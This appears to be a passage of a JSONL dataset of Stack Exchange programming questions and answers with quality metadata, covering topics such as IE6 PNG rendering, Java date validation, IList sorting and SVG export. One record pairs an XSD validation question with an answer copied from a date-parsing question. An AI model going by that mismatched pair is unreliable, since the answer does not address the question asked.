{"id": "hf_7375f9234bce", "question": "<p>I'm developing a website (using asp.net by the way) and I'm having a problem with IE6.</p>\n\n<p>When I use some icons near links, using background-image and padding-left on the links, the icons display nice on FF and Chrome but in IE6 they take a kind of \"gray\" background, and sometimes the flash strangely.</p>\n\n<p>Any ideas? is there some CSS hack to solve this? Thanks everyone!</p>\n", "question_body": "", "answer": "Are they .png files? IE6 has issues with alpha transparency in .pngs. There is a\njavascript fix though\n.\nEdit, to clarify - If IE6 sees a .png with alpha transparency (which is different than the transparency in .gifs) it freaks out and renders that part the light gray I believe you are seeing. The javascript fix applies a filter to all the .pngs in the page. However, this does not work on .pngs that have been set as backgrounds via css.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:48.635106"}
{"id": "hf_37d2583db3b5", "question": "<p>I'd like to make anchors to every post in my asp.net forum. Every forum's post is rendered using repeater control. How can I render <code>&lt;a name=\"anchor_name\"&gt;&lt;/a&gt;</code> in asp.net?</p>\n", "question_body": "", "answer": "```\n```\n<a name='<%# Eval(\"PostId\") %>' />\n```\n```\nwhere PostId is the name of the property you want to appear in your anchor.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:48.672183"}
{"id": "hf_a468221b57fa", "question": "<p>Can anyone recommend any Ad Management components for .NET?  I have a customer who would like to sell his own advertising through his own site.  This rules out using packaged ad providers such as Google Ads.</p>\n\n<p>I've googled several packages, but I'd like to see if anyone has any first hand experience with a particular package.</p>\n\n<p>Or should I just roll my own ad management system?</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "If there is going to be any size or complexity to the ad system, I wouldn't roll your own.  Focus on your core competencies and outsource the rest, because ad people can be crazy and it's nearly impossible to implement all the features they would want.  Frequency capping, geotargeting, failover reporting, inventory management, just to name a few.\nCheck out Atlas Solutions, formerly Accipiter (now bought by Microsoft), which provides hosted ad serving solutions.  Of course, that will come with a price, but what doesn't?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:48.713304"}
{"id": "hf_f699b5b933cd", "question": "<p>I want to create a simple bit of JS code that creates an image element in the background and doesn't display anything.  The image element will call a tracking URL (such as Omniture) and needs to be simple and robust and work in IE 6 =&lt; only.  Here is the code I have:</p>\n\n<pre><code>var oImg = document.createElement(\"img\");\noImg.setAttribute('src', 'http://www.testtrackinglink.com');\noImg.setAttribute('alt', 'na');\noImg.setAttribute('height', '1px');\noImg.setAttribute('width', '1px');\ndocument.body.appendChild(oImg);\n</code></pre>\n\n<p>Is this the simplest but most robust (error free) way to do it?</p>\n\n<p>I cannot use a framework like jQuery.  It needs to be in plain JavaScript.</p>\n", "question_body": "", "answer": "Are you allowed to use a framework?\njQuery\nand\nPrototype\nmake this sort of thing pretty easy. Here's a sample in Prototype:\n```\n```\nvar elem = new Element('img', { 'class': 'foo', src: 'pic.jpg', alt: 'alternate text' });\n$(document).insert(elem);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:48.737110"}
{"id": "hf_fa61acc0adba", "question": "<p>When you use the PHP <a href=\"http://us2.php.net/manual/en/function.copy.php\" rel=\"noreferrer\">copy</a> function, the operation blindly copies over the destination file, even if it already exists.  How do you copy a file safely, only performing the copy if there is no existing file?</p>\n", "question_body": "", "answer": "I think you answered your own question - check to make sure the destination file exists before performing the copy. If the file exists, skip the copy.\nUpdate: I see you really did answer your own question. You mention race conditions, but if you do find that the file already exists, how do you know that:\nthe file that is already there is really the one you want to copy\nthe other process copying the file has completed its job (the file data is all there)\nthe other process copying the file isn't going to fail (and leave an incomplete file, or delete the new file)\nI think you should consider these questions when designing a solution to your problem.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:48.772881"}
{"id": "hf_a519dd295a18", "question": "<p>I cannot get the internet explorer web developer tool bar to work with a pop-up, it won't render at the bottom of the pop-up.  Any suggestions?  </p>\n", "question_body": "", "answer": "I just tried this on my machine, and it seems to be working. Make sure you're using the\nlatest version\nOtherwise update your question and I'll try to help out again.\nupdate: Make sure the toolbar is docked to your parent window before the popup fires. When I have the toolbar docked (using the little dock icon at the top right of the window) it seems to follow to the new popup.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:48.825452"}
{"id": "hf_c103d0a4ea77", "question": "<p>I find it curious that the most obvious way to create <code>Date</code> objects in Java has been deprecated and appears to have been \"substituted\" with a not so obvious to use lenient calendar.</p>\n\n<p>How do you check that a date, given as a combination of day, month, and year, is a valid date?</p>\n\n<p>For instance, 2008-02-31 (as in yyyy-mm-dd) would be an invalid date.</p>\n", "question_body": "", "answer": "The current way is to use the calendar class.  It has the\nsetLenient\nmethod that will validate the date and throw and exception if it is out of range as in your example.\nForgot to add:\nIf you get a calendar instance and set the time using your date, this is how you get the validation.\n```\n```\nCalendar cal = Calendar.getInstance();\ncal.setLenient(false);\ncal.setTime(yourDate);\ntry {\n    cal.getTime();\n}\ncatch (Exception e) {\n  System.out.println(\"Invalid date\");\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:48.850130"}
{"id": "hf_a42c16471d11", "question": "<p>I 'm exploring for a browser solution / API that has the following features:</p>\n\n<ul>\n<li>Must support the nowadays default web technologies</li>\n<li>Must support client side XSLT</li>\n<li>Must support executing arbitrary Javascript on the pages it loads</li>\n<li>Must be able to catch events from the web page targeted to the browser or OS (I am specifically interested in window.print())</li>\n</ul>\n\n<p>QtWebkit seemed like the way to go but it still doesn't support XSLT so I had to look for alternatives. SWT Browser is a wrapper around the native browser component of the underlying system and in linux that I 'm interested this would mean the firefox engine that supports the attributes I 'm interested in except that I haven't still found out how to catch window.print() and provide my own implementation instead of the default one that is opening up a print dialog.</p>\n\n<p>Any suggestions?</p>\n", "question_body": "", "answer": "If you know a way how to catch the event in javascript an prevent the native dialog from showing, you can use the method shown in this\nsnippet\nto catch the event in your SWT code.\nThe other option might be better though: Use mozilla's classes to register your own print handler. Something similar is shown in this\nsnippet\nfor the download handler, but I haven't tested if it is possible for the print handler as well.\nThe catch for this second option is stated in the snippet's javadoc:\nIMPORTANT: For this snippet to work properly all of the requirements for using JavaXPCOM in a stand-alone application must be satisfied (see\nhttp://www.eclipse.org/swt/faq.php#howusejavaxpcom\n).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:48.887382"}
{"id": "hf_38a617707b86", "question": "<p>I came across a code snippet like this:</p>\n\n<p><code>Timestamp expiryDate = Timestamp.valueOf(dateStr + \" \" + \"23:59:59.000\"); </code></p>\n\n<p>Here dateStr is a string entered by the user in a form, in the format yyyy-mm-dd. Now the behavior of Timestamp.valueOf is such that it converts non-existent dates into appropriate proper dates. Say 31st June 2008 into 01st July 2008. </p>\n\n<p>How can I check in Java if the dateStr string is in fact a valid date ? I know I can manually do the check, but what I would like to know is whether any method is already available to do the same.</p>\n", "question_body": "", "answer": "Try\nSimpleDateFormat\n.  You simply set a format such as the one in your example and then call parse on your dateStr.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:48.924872"}
{"id": "hf_479028023b1c", "question": "<p>I've been working with code synthesis xsd to generate an xml tree to ensure constinency of the xml output to the original xsd.</p>\n\n<p>After initial testing, everything looked ok but when I tried entering invalid values (correct type, but outside the defined range), the values were allowed.</p>\n\n<p>Although the xml is well formed and conforms to the types set in the xsd, it is not a valid xml wrt the schema.</p>\n\n<p>Has anybody else used this tool and/or come up across this problem?</p>\n", "question_body": "", "answer": "Try\nSimpleDateFormat\n.  You simply set a format such as the one in your example and then call parse on your dateStr.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:48.948780"}
{"id": "hf_3f1c00876268", "question": "<p>If I have hundreds/thousands of client computers WCP'ing to my server, should I respond with a '200 OK' type message stating that I received the data and stored it in the db successfully?</p>\n\n<p>Is this already built-into WCF?</p>\n", "question_body": "", "answer": "There's 2 ways you could do this - return a value from your wcf call indicating success or failure, or assume success and use a callback to tell the client if there's a problem.\nMy preference would be to use a\none-way\nservice call with a\nduplex service\nand use a callback contract for the service to notify the client of a failure. There's a good description of callback contracts\nhere\nand\nhere\n.\nI think you get a nicer, more asynchronous architecture if you follow the second path, but for simple applications just returning success or failure may be easier.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:48.984933"}
{"id": "hf_b0386ef1224b", "question": "<p>I'm wondering if anyone has good resources to read or code to experiment for \"autcomplete\" </p>\n\n<p>I would like to know what's the theory behind autocompletion, where to start what are the commonn mistakes etc. </p>\n\n<p>I found fascinating the way products like Enso, Launchy, Google chrome and even tcsh perform their auto complete, I started my self just for curiosity some sample code and I got to the conclusion this must be a field widely explored before.</p>\n\n<p>I would appreciate if someone shares any good technical resource on how to implement this.</p>\n\n<p>Thanks in advance.</p>\n", "question_body": "", "answer": "http://humanized.com/weblog/2007/03/30/what_makes_a_good_autocomplete/\n--\nhttp://social.msdn.microsoft.com/Forums/en-US/vblanguage/thread/2ccb37b9-c7e1-4113-86ac-ad3d33b4b4b1/\n-- in the .Net world\nA\nnasty\npatent on autocompletion approach (still possibly worth   reading for the\ntheory\n)\nhttp://www.patentstorm.us/patents/5845300/description.html\nhttp://ask.metafilter.com/91068/Fuzzy-text-completion-algorithm\nfor a high level discussion on strategies to take.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:49.020710"}
{"id": "hf_0bc616ecc457", "question": "<p>Does anyone know of any good basic articles for creating Sharepoint Web Parts.</p>\n\n<p>I have found a couple, but most of them jumped in a little quick.</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "You can try:\nSharePoint developer portal\nSharePoint forums @ MSDN\nCodeplex\nto look at others code", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:49.044701"}
{"id": "hf_56cb985b49a2", "question": "<p>I am writing a photo gallery/sharing website and want to (1) write EXIF data to the JPEGs stored on server, and (2) strip that EXIF data prior to writing to the output stream for display.</p>\n\n<p>Is anyone aware of a dotNet library -- preferably open source -- that allows the editing (the key here is that I need to write/erase the EXIF data, not just read it) of EXIF data in image files?</p>\n", "question_body": "", "answer": "Check this libraries:\nEXIFextractor\nPhoto Properties\nA library to simplify access to image metadata\nExifWorks\nEXIF tag Editor", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:49.092770"}
{"id": "hf_8395b553ad9c", "question": "<p>I can't seem to grok the concept of \"loose coupling.\" I suppose it doesn't help that the word \"loose\" usually has a negative connotation, so I always forget that loose coupling is a <em>good</em> thing.</p>\n\n<p>Will somebody please show some \"before\" and \"after\" code (or pseudocode) that illustrates this concept?</p>\n", "question_body": "", "answer": "Definition\nEssentially, coupling is how much a given object or set of object relies on another object or another set of objects in order to accomplish its task.\nHigh Coupling\nThink of a car. In order for the engine to start, a key must be inserted into the ignition, turned, gasoline must be present, a spark must occur, pistons must fire, and the engine must come alive. You could say that a car engine is highly coupled to several other objects. This is high coupling, but it's not really a bad thing.\nLoose Coupling\nThink of a user control for a web page that is responsible for allowing users to post, edit, and view some type of information. The single control could be used to let a user post a new piece of information or edit a new piece of information. The control should be able to be shared between two different paths - new and edit. If the control is written in such a way that it needs some type of data from the pages that will contain it, then you could say it's too highly coupled. The control should not need anything from its container page.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:49.128495"}
{"id": "hf_67c9251c2fdd", "question": "<p>What is the best way to sync up two lists each of which may contain items not in the other?  As shown the lists are not sorted - although if necessary sorting them first would not be an issue.</p>\n\n<pre><code>List 1 = a,b,c,e\nList 2 = b,e,c,d\n</code></pre>\n\n<p>Using the lists above, I'm looking for a solution that will write out to a spreadsheet in two columns:</p>\n\n<pre><code>a\nb  b\nc  c\n   d\ne  e\n</code></pre>\n", "question_body": "", "answer": "Here are some notes on using a disconnected recordset.\n```\n```\nConst adVarChar = 200  'the SQL datatype is varchar\n\n'Create arrays fron the lists\nasL1 = Split(\"a,b,c,\", \",\")\nasL2 = Split(\"b,e,c,d\", \",\")\n\n'Create a disconnected recordset\nSet rs = CreateObject(\"ADODB.RECORDSET\")\nrs.Fields.append \"Srt\", adVarChar, 25\nrs.Fields.append \"L1\", adVarChar, 25\nrs.Fields.append \"L2\", adVarChar, 25\n\nrs.CursorType = adOpenStatic\nrs.Open\n\n'Add list 1 to the recordset\nFor i = 0 To UBound(asL1)\n    rs.AddNew Array(\"Srt\", \"L1\"), Array(asL1(i), asL1(i))\n    rs.Update\nNext\n\n'Add list 2\nFor i = 0 To UBound(asL2)\n    rs.MoveFirst\n    rs.Find \"L1='\" & asL2(i) & \"'\"\n\n    If rs.EOF Then\n        rs.AddNew Array(\"Srt\", \"L2\"), Array(asL2(i), asL2(i))\n    Else\n        rs.Fields(\"L2\") = asL2(i)\n    End If\n\n    rs.Update\nNext\n\nrs.Sort = \"Srt\"\n\n'Add the data to the active sheet\nSet wks = Application.ActiveWorkbook.ActiveSheet\n\nrs.MoveFirst\n\nintRow = 1\nDo\n    For intField = 1 To rs.Fields.Count - 1\n        wks.Cells(intRow, intField + 1) = rs.Fields(intField).Value\n    Next intField\n\n    rs.MoveNext\n    intRow = intRow + 1\nLoop Until rs.EOF = True\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:49.153243"}
{"id": "hf_26a19c58553a", "question": "<p>I have an <code>IList&lt;T&gt;</code> that I need to sort, and I would rather not copy the list if possible.  I've noticed that <code>ArrayList</code> has an <code>Adapter</code> static method that wraps the passed list without copying it, but this takes an <code>IList</code> and I have an <code>IList&lt;T&gt;</code>.  Is it safe to cast from a <code>System.Collections.Generic.IList&lt;T&gt;</code> to a <code>System.Collections.IList</code> and just use the <code>Adapter</code> method?</p>\n\n<p>Note that this is .Net 2.0, so LINQ is not an option.</p>\n", "question_body": "", "answer": "From the blog of Paul Fox, I recommend the post \"How to sort an IList\":\nhttp://foxsys.blogspot.com/2007/06/how-to-sort-generic-ilist.html\nJust in case that blog goes away in the future, I'll copy the post here:\nHow to sort a generic IList\nUpdate\nYou can read and updated post about\nsorting generic IList and List\n. Many people will prefer the methods mentioned in the updated post.\nSorting a generic IList\nI was trying to sort a generic IList<> and found a fairly simple way of doing it.\nStep 1\nYou need to implement IComparable for the type contained in your IList. For this example I am going to use a simple Language Dto class.\n```\n```\npublic class LanguageDto : IComparable {\n private String name;\n public string Name { get { return name; } set { name = value; } }\n\n public LanguageDto(string name) {\n     this.name = name;\n }\n\n #region IComparable Members\n public int CompareTo(object obj) {\n     if (obj is LanguageDto) {\n     LanguageDto language = (LanguageDto)obj;\n     return this.name.CompareTo(language.name);\n     }\n     throw new ArgumentException(string.Format(\"Cannot compare a LanguageDto to an {0}\", obj.GetType().ToString()));\n }\n #endregion\n}\n```\n```\nSTEP 2\nSort your IList. To do this you will use the ArrayList.Adapter() method passing in your IList, and then calling the Sort method. Like so...\n```\n```\nArrayList.Adapter((IList)languages).Sort();\n```\n```\nNote: languages is of type \"IList\"\nLanguages should then be a sorted list of your type!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:49.189893"}
{"id": "hf_7f829b1dac89", "question": "<p>I've used several apps now that launch the itunes store directly from the app. I'm even using some on my 2.1 iPod 2G.</p>\n\n<p>I know there's a bug in 2.1 that prevents appstore links from working in safari, but somehow people are launching the appstore directly, not even through safari.</p>\n\n<p>How do you do this? Is it an undocumented openURL feature?</p>\n", "question_body": "", "answer": "From iTunes, drag the icon of your app to the desktop, this will give you a link you can use directly (for example,\nhttp://phobos.apple.com/WebObjects/MZStore.woa/wa/viewSoftware?id=284036524&mt=8\nlaunches the AppStore to Crosswords, both on a desktop and an iPhone).\nPop this into an NSURL and call openURL on it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:49.216232"}
{"id": "hf_f296fdb60fee", "question": "<p>In Java, given a timestamp, how to reset the time part alone to 00:00:00 so that the timestamp represents the midnight of that particular day ?</p>\n\n<p>In T-SQL, this query will do to achieve the same, but I don't know how to do this in Java.</p>\n\n<p><code>SELECT CAST( FLOOR( CAST(GETDATE() AS FLOAT ) ) AS DATETIME) AS 'DateTimeAtMidnight';</code></p>\n", "question_body": "", "answer": "Assuming your \"timestamp\" is a java.util.Date, which is represented as the number of milliseconds since the beginning of the epoch (Jan 1, 1970), you can perform the following arithmetic:\n```\n```\npublic static Date stripTimePortion(Date timestamp) {\n    long msInDay = 1000 * 60 * 60 * 24; // Number of milliseconds in a day\n    long msPortion = timestamp.getTime() % msInDay;\n    return new Date(timestamp.getTime() - msPortion);\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:49.266021"}
{"id": "hf_4e316c403302", "question": "<p>I have two tables Institutions and Results and I want to see if there are any results for institutions that way I can exclude the ones that don't have results.</p>\n\n<p>Can I get better performance using a JOIN or using EXISTS?</p>\n\n<p>Thank you,<br>\n-Nimesh</p>\n", "question_body": "", "answer": "If you're referring to using a left (or right) outer join or a not exists subquery, I'm fairly certain the left outer join wins performance-wise. For example:\n```\nSELECT t1.* FROM table1 t1 LEFT OUTER JOIN table2 t2 ON t1.id = t2.id WHERE t2.id IS NULL\n```\nThe above should be quicker than the equivalent sub-query, and if you're referring specifically to exists - well, where structure allows, an inner join will always be the preferred option.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:49.325086"}
{"id": "hf_83a39ee4bcfd", "question": "<p>I am wondering what server control people generally use for surrounding and separating blocks of related controls and content in a Web Forms scenario.  Often times I need to surround a block of HTML and related Server controls with a 'panel' that I can show or hide based upon some UI logic in the code behind.  I am usually faced with either using a Panel, however this doesn't work if I need to surround multiple TR's in a table for example because the Panel renders as a div which is invalid inside a Table tag.  In this situation I usually just set each TR to runat server and show/hide each of them individually, but there must be a better way.  I have seen the PlaceHolder control used for this scenario, but wanted to know if anyone does this or has any other suggestions.</p>\n", "question_body": "", "answer": "Even with the PlaceHolder control, Visual Studio will complain that you don't have valid HTML.\nYou might grit your teeth and do it via server side code blocks that access properties on the code behind:\n```\n```\n<table>\n  <tr>\n     ....\n  </tr>\n\n  <% if( ShowSecretRow ) { %>\n\n  <tr>\n    <td>shhh!</td>\n  </tr>\n\n  <% } %>\n</table>\n```\n```\nBe careful though... it's a slippery slope and you don't want your ASPX to be too convoluted.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:49.351702"}
{"id": "hf_274dbf74a1c4", "question": "<p>I'm wonder what the best way to convert a byte array (length 4) to an integer is in vb.net?  I'm aware of BitConverter, but it seems like quite a waste to do a function call to do something that should be able to be done by copying 4 bytes of memory. Along the same lines, what about converting a single/double from it's binary representation to an single/double variable.</p>\n", "question_body": "", "answer": "\"Copying bytes of memory\" is something that .NET isn't particularly suited for (and VB.NET even less so). So, unless switching to C is an option for you, a function call is pretty much unavoidable for this.\nBitConverter is a well-thought-out, tested function. Of course, you can avoid it by doing something like (in C#):\n```\n```\nmyInt = (*pbyte) | (*(pbyte + 1) << 8)  | (*(pbyte + 2) << 16) | (*(pbyte + 3) << 24);\n```\n```\n(which is, incidentally,\nexactly\nwhat BitConverter does for you when converting a byte array to an Integer...).\nHowever, this code:\nIs much, much harder to read and understand than the BitConverter equivalent;\nDoesn't do any of the error checking that BitConverter does for you;\nDoesn't differentiate between little-endian and big-endian representations, like BitConverter does.\nIn other words: you might \"save\" a function call, but you will be significantly worse off in the end (even assuming you don't introduce any bugs). In general, the .NET Framework is very, very well designed, and you shouldn't think twice about using its functionality, unless you encounter actual (performance) issues with it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:49.435862"}
{"id": "hf_50fb5b60e1b6", "question": "<p>Is there a way to cast a user control as a specific user control so I have access to it's public properties? Basicly I'm foreaching through a placeholder's controls collection and I'm trying to access the user control's public properties.</p>\n\n<pre><code>foreach(UserControl uc in plhMediaBuys.Controls)\n{\n    uc.PulblicPropertyIWantAccessTo;\n}\n</code></pre>\n", "question_body": "", "answer": "```\n```\nforeach(UserControl uc in plhMediaBuys.Controls)\n{\n  if (uc is MySpecificType)\n  {\n    return (uc as MySpecificType).PulblicPropertyIWantAccessTo;\n  }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:49.498749"}
{"id": "hf_8a1fb276b5e7", "question": "<p>I am trying to dynamically load the contents of a div tag with a .cfm page that contains a cfchart in png format. When the user clicks on a link, I am using the load function to put the .cfm page into the div.</p>\n\n<pre><code>$(\"#bank\").bind(\"click\", function(){\n    $(\"#chartx\").load(\"bank.cfm\");\n});\n</code></pre>\n\n<p>I can get this to come up perfectly in Firefox, but not in IE6. It gives no error messages.</p>\n", "question_body": "", "answer": "Have you tried jQuery.get? Maybe something like:\n```\n```\n$(\"#bank\").bind(\"click\", function(){\n    $.get(\"bank.cfm\", function(data){\n        $(\"#chartx\").html(data);\n    });\n});\n```\n```\nIt's not as clean but it's more specific. Maybe it will take a different course from whatever is breaking.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:49.522671"}
{"id": "hf_4d0c1a679064", "question": "<p>I have need to write an application which uses a speech recognition engine -- either the built in vista one, or a third party one -- that can display a word or phrase, and recognise when the user reads it (or an approximation of it).  I also need to be able to switch quickly between languages, without changing the language of the operating system.</p>\n\n<p>The users will be using the system for very short periods.  The application needs to work without the requirement of first training the recognition engine to the users' voices.</p>\n\n<p>It would also be fantastic if this could work on Windows XP or lesser versions of Windows Vista.</p>\n\n<p>Optionally, the system needs to be able to read information on the screen back to the user, in the user's selected language.  I can work around this specification using pre-recorded voice-overs, but the preferred method would be to use a text-to-speech engine.</p>\n\n<p>Can anyone recommend something for me?</p>\n", "question_body": "", "answer": "If the engine is what you're asking about then I've found (beware, I'm just listing, I haven't tried any of them):\nLumenvox engine\nyou also have the\nSAPI SDK\nfrom Microsoft itself, I've only tried it for text to speech but according to its definition:\nThe SDK also includes freely distributable text-to-speech (TTS) engines (in U.S. English and Simplified Chinese)\nand speech recognition (SR) engines\n(in U.S. English, Simplified Chinese, and Japanese).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:49.570960"}
{"id": "hf_2450e25f8656", "question": "<p>I am new to sharepoint development but have about 10 years of expirence in C++, VB6 and C#. It is my experience that a great way to learn a new language or coding style is to spend some time \"dissecting\" one of the open source projects available at CodePlex or Google code. \nIn order to avoid picking up some bad habits without knowing it, I would like to hear which projects you can recommend.</p>\n\n<p>TIA</p>\n", "question_body": "", "answer": "Generally speaking, SharePoint \"code\" will come in the form of web parts and pages that are written for specific SharePoint installations. However, that doesn't mean that there aren't any SharePoint utilities and libraries out there.\nIn fact, I'm a big fan of\nSmartPart\n, which is hosted on Codeplex. This is a very useful SharePoint tool with a lot of downloads and some bugs that need to be fixed, so it's a great project to serve as your reference point\nand\nsubmit some code to!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:49.606433"}
{"id": "hf_ab2fd0ba7226", "question": "<p>I am working on interactive SVG/AJAX interfaces where elements are created and repositioned on-the-fly by users. I'd like to support the ability for users to export their current view to a PNG image and/or an SVG document. I'd really like the SVG document to be as simple as possible (without a lot of nested transforms). Is there any framework that already supports this?</p>\n\n<p>I'm currently asking my users to use the Ctrl+Alt+PrntScrn technique, and I don't want to ask them to install any software/plugins. </p>\n\n<p>The server-side code is implemented in PHP right now, if that helps. I've already implemented the ability to generate a PNG image from the \"original\" document (before the client makes any modifications) using ImageMagick.</p>\n", "question_body": "", "answer": "I'm assuming you need this to work only in browsers that support SVG.\nFirefox, Safari, and Opera provide the non-standard\n```\nXMLSerializer\n```\nAPI, so you could do something like this:\n```\n```\nvar svg = document.getElementById('svg_root'); // or whatever you call it\nvar serializer = new XMLSerializer();\nvar str = serializer.serializeToString(svg);\n```\n```\nFrom there, you can send it to the server and receive a PNG in return.\nHere's\nMozilla's developer page on serializing XML from the DOM\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:49.664878"}
{"id": "hf_0e65496615bb", "question": "<p>I am attempting to send an email using VB.NET.</p>\n\n<p>There are two requirements:</p>\n\n<ol>\n<li>The email be saved in their \"Sent Items\" folder in Outlook (their only email client).</li>\n<li>A PDF (generated on the fly) is attached to the email.</li>\n</ol>\n\n<p>I am currently creating a new <a href=\"http://msdn.microsoft.com/en-us/library/system.net.mail.mailmessage.aspx\" rel=\"nofollow noreferrer\">MailMessage</a> &amp; sending via a <a href=\"http://msdn.microsoft.com/en-us/library/system.net.mail.smtpclient.aspx\" rel=\"nofollow noreferrer\">SmtpClient</a>, but I believe that this sends from the server, and not from the client.</p>\n\n<p>Is this possible?</p>\n\n<p>EDIT: This is a winforms application, the purpose is to send reports to clients.</p>\n", "question_body": "", "answer": "You'll have to use the exchange server API or have a local copy of Outlook and use the outlook client API in order to make this happen. SMTP Client and exchange really have very little to do with each other, other than the fact that the Exchange server knows what to do with an SMTP message.\nYou might be better off just sending two copies of the e-mail, one to the sender and one to the sendee. It's not as seemless in having it show up in the sent items, but it would be much less work and accomplish the same goal.", 